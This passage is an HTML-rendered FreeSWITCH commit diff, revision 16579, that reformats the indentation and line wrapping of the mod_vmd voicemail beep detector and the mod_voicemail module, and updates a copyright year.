</span><span class="cx"> /*! \brief The DESA-2 algorithm 
</span><span class="lines">@@ -500,12 +498,12 @@
</span><span class="cx">  */
</span><span class="cx"> double freq_estimator(double *x)
</span><span class="cx"> {
</span><del>-    return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
-                       - ((x[1] * x[1]) - (x[0] * x[2]))
-                       - ((x[3] * x[3]) - (x[2] * x[4])))
-                      / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
</del><ins>+        return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
+                                           - ((x[1] * x[1]) - (x[0] * x[2]))
+                                           - ((x[3] * x[3]) - (x[2] * x[4])))
+                                          / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
</ins><span class="cx"> 
</span><del>-        );
</del><ins>+                );
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH module loading function 
</span><span class="lines">@@ -515,19 +513,19 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
</span><span class="cx"> {
</span><del>-    switch_application_interface_t *app_interface;
-    switch_api_interface_t *api_interface;
-    /* connect my internal structure to the blank pointer passed to me */
-    *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</del><ins>+        switch_application_interface_t *app_interface;
+        switch_api_interface_t *api_interface;
+        /* connect my internal structure to the blank pointer passed to me */
+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Voicemail detection enabled\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Voicemail detection enabled\n&quot;);
</ins><span class="cx"> 
</span><del>-    SWITCH_ADD_APP(app_interface, &quot;vmd&quot;, &quot;Detect beeps&quot;, &quot;Detect voicemail beeps&quot;, vmd_start_function, &quot;[start] [stop]&quot;, SAF_NONE);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;vmd&quot;, &quot;Detect beeps&quot;, &quot;Detect voicemail beeps&quot;, vmd_start_function, &quot;[start] [stop]&quot;, SAF_NONE);
</ins><span class="cx"> 
</span><del>-    SWITCH_ADD_API(api_interface, &quot;vmd&quot;, &quot;Detected voicemail beeps&quot;, vmd_api_main, VMD_SYNTAX);
</del><ins>+        SWITCH_ADD_API(api_interface, &quot;vmd&quot;, &quot;Detected voicemail beeps&quot;, vmd_api_main, VMD_SYNTAX);
</ins><span class="cx"> 
</span><del>-    /* indicate that the module should continue to be loaded */
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH application handler function.
</span><span class="lines">@@ -538,59 +536,59 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_STANDARD_APP(vmd_start_function)
</span><span class="cx"> {
</span><del>-    switch_media_bug_t *bug;
-    switch_status_t status;
-    switch_channel_t *channel;
-    vmd_session_info_t *vmd_info;
-    int i;
</del><ins>+        switch_media_bug_t *bug;
+        switch_status_t status;
+        switch_channel_t *channel;
+        vmd_session_info_t *vmd_info;
+        int i;
</ins><span class="cx">         const char *minTimeString;
</span><span class="cx">         int mintime = 0;
</span><span class="cx"> 
</span><del>-    if (session == NULL)
-        return;
</del><ins>+        if (session == NULL)
+                return;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx"> 
</span><del>-    /* Is this channel already set? */
-    bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_vmd_&quot;);
-    /* If yes */
-    if (bug != NULL) {
-        /* If we have a stop remove audio bug */
-        if (strcasecmp(data, &quot;stop&quot;) == 0) {
-            switch_channel_set_private(channel, &quot;_vmd_&quot;, NULL);
-            switch_core_media_bug_remove(session, &amp;bug);
-            return;
-        }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_vmd_&quot;);
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(data, &quot;stop&quot;) == 0) {
+                        switch_channel_set_private(channel, &quot;_vmd_&quot;, NULL);
+                        switch_core_media_bug_remove(session, &amp;bug);
+                        return;
+                }
</ins><span class="cx"> 
</span><del>-        /* We have already started */
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</ins><span class="cx"> 
</span><del>-        return;
-    }
</del><ins>+                return;
+        }
</ins><span class="cx"> 
</span><del>-    vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
-        );
</del><ins>+        vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
+                );
</ins><span class="cx"> 
</span><del>-    vmd_info-&gt;state = BEEP_NOT_DETECTED;
-    vmd_info-&gt;session = session;
-    vmd_info-&gt;pos = 0;
-    /*
-       vmd_info-&gt;data = NULL;
-       vmd_info-&gt;data_len = 0;
-     */
-    for (i = 0; i &lt; POINTS; i++) {
-        vmd_info-&gt;points[i].freq = 0.0;
-        vmd_info-&gt;points[i].ampl = 0.0;
-    }
</del><ins>+        vmd_info-&gt;state = BEEP_NOT_DETECTED;
+        vmd_info-&gt;session = session;
+        vmd_info-&gt;pos = 0;
+        /*
+           vmd_info-&gt;data = NULL;
+           vmd_info-&gt;data_len = 0;
+         */
+        for (i = 0; i &lt; POINTS; i++) {
+                vmd_info-&gt;points[i].freq = 0.0;
+                vmd_info-&gt;points[i].ampl = 0.0;
+        }
</ins><span class="cx"> 
</span><del>-    status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &amp;bug);
</del><ins>+        status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &amp;bug);
</ins><span class="cx"> 
</span><del>-    if (status != SWITCH_STATUS_SUCCESS) {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
-        return;
-    }
</del><ins>+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
+                return;
+        }
</ins><span class="cx"> 
</span><del>-    switch_channel_set_private(channel, &quot;_vmd_&quot;, bug);
</del><ins>+        switch_channel_set_private(channel, &quot;_vmd_&quot;, bug);
</ins><span class="cx"> 
</span><span class="cx">         if ((minTimeString = switch_channel_get_variable(channel, &quot;vmd_min_time&quot;)) &amp;&amp; (mintime = atoi(minTimeString))) {
</span><span class="cx">                 vmd_info-&gt;minTime = mintime;
</span><span class="lines">@@ -598,7 +596,7 @@
</span><span class="cx">                 vmd_info-&gt;minTime = MIN_TIME;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;MIN_TIME for call: %d\n&quot;,vmd_info-&gt;minTime);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;MIN_TIME for call: %d\n&quot;, vmd_info-&gt;minTime);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Called when the module shuts down
</span><span class="lines">@@ -608,9 +606,9 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
</span><span class="cx"> {
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Voicemail detection disabled\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Voicemail detection disabled\n&quot;);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH API handler function.
</span><span class="lines">@@ -622,121 +620,121 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_STANDARD_API(vmd_api_main)
</span><span class="cx"> {
</span><del>-    switch_core_session_t *vmd_session = NULL;
-    switch_media_bug_t *bug;
-    vmd_session_info_t *vmd_info;
-    switch_channel_t *channel;
-    switch_status_t status;
-    int argc;
-    char *argv[VMD_PARAMS];
-    char *ccmd = NULL;
-    char *uuid;
-    char *command;
-    int i;
</del><ins>+        switch_core_session_t *vmd_session = NULL;
+        switch_media_bug_t *bug;
+        vmd_session_info_t *vmd_info;
+        switch_channel_t *channel;
+        switch_status_t status;
+        int argc;
+        char *argv[VMD_PARAMS];
+        char *ccmd = NULL;
+        char *uuid;
+        char *command;
+        int i;
</ins><span class="cx"> 
</span><del>-    /* No command? Display usage */
-    if (zstr(cmd)) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
-        return SWITCH_STATUS_SUCCESS;
-    }
</del><ins>+        /* No command? Display usage */
+        if (zstr(cmd)) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-    /* Duplicated contents of original string */
-    ccmd = strdup(cmd);
-    /* Separate the arguments */
-    argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
</del><ins>+        /* Duplicated contents of original string */
+        ccmd = strdup(cmd);
+        /* Separate the arguments */
+        argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
</ins><span class="cx"> 
</span><del>-    /* If we don't have the expected number of parameters 
-     * display usage */
-    if (argc != VMD_PARAMS) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</del><ins>+        /* If we don't have the expected number of parameters 
+         * display usage */
+        if (argc != VMD_PARAMS) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    uuid = argv[0];
-    command = argv[1];
</del><ins>+        uuid = argv[0];
+        command = argv[1];
</ins><span class="cx"> 
</span><del>-    /* using uuid locate a reference to the FreeSWITCH session */
-    vmd_session = switch_core_session_locate(uuid);
</del><ins>+        /* using uuid locate a reference to the FreeSWITCH session */
+        vmd_session = switch_core_session_locate(uuid);
</ins><span class="cx"> 
</span><del>-    /* If the session was not found exit */
-    if (vmd_session == NULL) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</del><ins>+        /* If the session was not found exit */
+        if (vmd_session == NULL) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    /* Get current channel of the session to tag the session
-     * This indicates that our module is present */
-    channel = switch_core_session_get_channel(vmd_session);
</del><ins>+        /* Get current channel of the session to tag the session
+         * This indicates that our module is present */
+        channel = switch_core_session_get_channel(vmd_session);
</ins><span class="cx"> 
</span><del>-    /* Is this channel already set? */
-    bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_vmd_&quot;);
-    /* If yes */
-    if (bug != NULL) {
-        /* If we have a stop remove audio bug */
-        if (strcasecmp(command, &quot;stop&quot;) == 0) {
-            switch_channel_set_private(channel, &quot;_vmd_&quot;, NULL);
-            switch_core_media_bug_remove(vmd_session, &amp;bug);
-            switch_safe_free(ccmd);
-            stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_vmd_&quot;);
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(command, &quot;stop&quot;) == 0) {
+                        switch_channel_set_private(channel, &quot;_vmd_&quot;, NULL);
+                        switch_core_media_bug_remove(vmd_session, &amp;bug);
+                        switch_safe_free(ccmd);
+                        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</ins><span class="cx">                         goto end;
</span><del>-        }
</del><ins>+                }
</ins><span class="cx"> 
</span><del>-        /* We have already started */
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</ins><span class="cx">                 goto end;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    /* If we don't see the expected start exit */
-    if (strcasecmp(command, &quot;start&quot;) != 0) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</del><ins>+        /* If we don't see the expected start exit */
+        if (strcasecmp(command, &quot;start&quot;) != 0) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-    /* Allocate memory attached to this FreeSWITCH session for
-     * use in the callback routine and to store state information */
-    vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
-        );
</del><ins>+        /* Allocate memory attached to this FreeSWITCH session for
+         * use in the callback routine and to store state information */
+        vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
+                );
</ins><span class="cx"> 
</span><del>-    /* Set initial values and states */
-    vmd_info-&gt;state = BEEP_NOT_DETECTED;
-    vmd_info-&gt;session = vmd_session;
-    vmd_info-&gt;pos = 0;
</del><ins>+        /* Set initial values and states */
+        vmd_info-&gt;state = BEEP_NOT_DETECTED;
+        vmd_info-&gt;session = vmd_session;
+        vmd_info-&gt;pos = 0;
</ins><span class="cx"> /*
</span><span class="cx">     vmd_info-&gt;data = NULL;
</span><span class="cx">     vmd_info-&gt;data_len = 0;
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-    for (i = 0; i &lt; POINTS; i++) {
-        vmd_info-&gt;points[i].freq = 0.0;
-        vmd_info-&gt;points[i].ampl = 0.0;
-    }
</del><ins>+        for (i = 0; i &lt; POINTS; i++) {
+                vmd_info-&gt;points[i].freq = 0.0;
+                vmd_info-&gt;points[i].ampl = 0.0;
+        }
</ins><span class="cx"> 
</span><del>-    /* Add a media bug that allows me to intercept the 
-     * reading leg of the audio stream */
-    status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &amp;bug);
</del><ins>+        /* Add a media bug that allows me to intercept the 
+         * reading leg of the audio stream */
+        status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &amp;bug);
</ins><span class="cx"> 
</span><del>-    /* If adding a media bug fails exit */
-    if (status != SWITCH_STATUS_SUCCESS) {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
-        goto end;
-    }
</del><ins>+        /* If adding a media bug fails exit */
+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
+                goto end;
+        }
</ins><span class="cx"> 
</span><del>-    /* Set the vmd tag to detect an existing vmd media bug */
-    switch_channel_set_private(channel, &quot;_vmd_&quot;, bug);
</del><ins>+        /* Set the vmd tag to detect an existing vmd media bug */
+        switch_channel_set_private(channel, &quot;_vmd_&quot;, bug);
</ins><span class="cx"> 
</span><del>-    /* Everything went according to plan! Notify the user */
-    stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</del><ins>+        /* Everything went according to plan! Notify the user */
+        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (vmd_session) {
</span><span class="cx">                 switch_core_session_rwunlock(vmd_session);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    switch_safe_free(ccmd);
</del><ins>+        switch_safe_free(ccmd);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_voicemailmod_voicemailc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_voicemail/mod_voicemail.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -146,7 +146,7 @@
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         uint32_t flags;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_config_item_t config[VM_PROFILE_CONFIGITEM_COUNT];
</span><span class="cx">         switch_xml_config_string_options_t config_str_pool;
</span><span class="cx"> };
</span><span class="lines">@@ -157,17 +157,19 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(profile-&gt;odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = profile-&gt;odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = profile-&gt;odbc_user;
</span><span class="cx">                 options.odbc_options.pass = profile-&gt;odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = profile-&gt;dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -190,7 +192,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -200,21 +202,22 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback, void *pdata)
</del><ins>+static switch_bool_t vm_execute_sql_callback(vm_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
+                                                                                         void *pdata)
</ins><span class="cx"> {
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!(dbh = vm_get_db_handle(profile))) {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
-        goto end;
-    }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &amp;errmsg);
</span><span class="cx"> 
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -245,21 +248,14 @@
</span><span class="cx">         &quot;   cid_name      VARCHAR(255),\n&quot;
</span><span class="cx">         &quot;   cid_number    VARCHAR(255),\n&quot;
</span><span class="cx">         &quot;   in_folder     VARCHAR(255),\n&quot;
</span><del>-        &quot;   file_path     VARCHAR(255),\n&quot; 
-        &quot;   message_len   INTEGER,\n&quot; 
-        &quot;   flags         VARCHAR(255),\n&quot; 
-        &quot;   read_flags    VARCHAR(255),\n&quot; 
-        &quot;   forwarded_by  VARCHAR(255)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;   file_path     VARCHAR(255),\n&quot;
+        &quot;   message_len   INTEGER,\n&quot; &quot;   flags         VARCHAR(255),\n&quot; &quot;   read_flags    VARCHAR(255),\n&quot; &quot;   forwarded_by  VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char vm_pref_sql[] =
</span><span class="cx">         &quot;CREATE TABLE voicemail_prefs (\n&quot;
</span><span class="cx">         &quot;   username        VARCHAR(255),\n&quot;
</span><del>-        &quot;   domain          VARCHAR(255),\n&quot; 
-        &quot;   name_path       VARCHAR(255),\n&quot; 
-        &quot;   greeting_path   VARCHAR(255),\n&quot; 
-        &quot;   password        VARCHAR(255)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;   domain          VARCHAR(255),\n&quot;
+        &quot;   name_path       VARCHAR(255),\n&quot; &quot;   greeting_path   VARCHAR(255),\n&quot; &quot;   password        VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char *vm_index_list[] = {
</span><span class="cx">         &quot;create index voicemail_msgs_idx1 on voicemail_msgs(created_epoch)&quot;,
</span><span class="lines">@@ -280,7 +276,7 @@
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;profile-&gt;pool);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void destroy_profile(const char *profile_name, switch_bool_t block) 
</del><ins>+static void destroy_profile(const char *profile_name, switch_bool_t block)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -295,17 +291,18 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (block) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;[%s] Waiting for write lock\n&quot;, profile-&gt;name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;[%s] Waiting for write lock\n&quot;, profile-&gt;name);
</ins><span class="cx">                 switch_thread_rwlock_wrlock(profile-&gt;rwlock);
</span><span class="cx">         } else {
</span><span class="cx">                 if (switch_thread_rwlock_trywrlock(profile-&gt;rwlock) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Lock failed, set the destroy flag so it'll be destroyed whenever its not in use anymore */
</span><span class="cx">                         switch_set_flag(profile, PFLAG_DESTROY);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;[%s] Profile is in use, memory will be freed whenever its no longer in use\n&quot;, profile-&gt;name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;[%s] Profile is in use, memory will be freed whenever its no longer in use\n&quot;,
+                                                          profile-&gt;name);
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         free_profile(profile);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -321,26 +318,26 @@
</span><span class="cx"> static switch_xml_config_int_options_t config_int_ht_0 = { SWITCH_TRUE, 0 };
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_enum_item_t config_play_date_announcement[] = {
</span><del>-        { &quot;first&quot;, VM_DATE_FIRST },
-        { &quot;last&quot;, VM_DATE_LAST },
-        { &quot;never&quot;, VM_DATE_NEVER },
-        { NULL, 0 }
</del><ins>+        {&quot;first&quot;, VM_DATE_FIRST},
+        {&quot;last&quot;, VM_DATE_LAST},
+        {&quot;never&quot;, VM_DATE_NEVER},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item-&gt;data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item-&gt;data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-        
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *email_headers = NULL, *email_body = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
</del><ins>+                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 email_headers = switch_core_strdup(profile-&gt;pool, stream.data);
</span><span class="cx">                                 if ((email_body = strstr(email_headers, &quot;\n\n&quot;))) {
</span><span class="cx">                                         *email_body = '\0';
</span><span class="lines">@@ -350,10 +347,10 @@
</span><span class="cx">                                         email_body += 4;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (email_headers) {
</span><span class="cx">                         profile-&gt;email_headers = email_headers;
</span><span class="cx">                 }
</span><span class="lines">@@ -361,23 +358,23 @@
</span><span class="cx">                         profile-&gt;email_body = email_body;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                 switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item-&gt;data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item-&gt;data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-                
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *email_headers = NULL, *email_body = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
</del><ins>+                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 email_headers = switch_core_strdup(profile-&gt;pool, stream.data);
</span><span class="cx">                                 if ((email_body = strstr(email_headers, &quot;\n\n&quot;))) {
</span><span class="cx">                                         *email_body = '\0';
</span><span class="lines">@@ -387,10 +384,10 @@
</span><span class="cx">                                         email_body += 4;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (email_headers) {
</span><span class="cx">                         profile-&gt;notify_email_headers = email_headers;
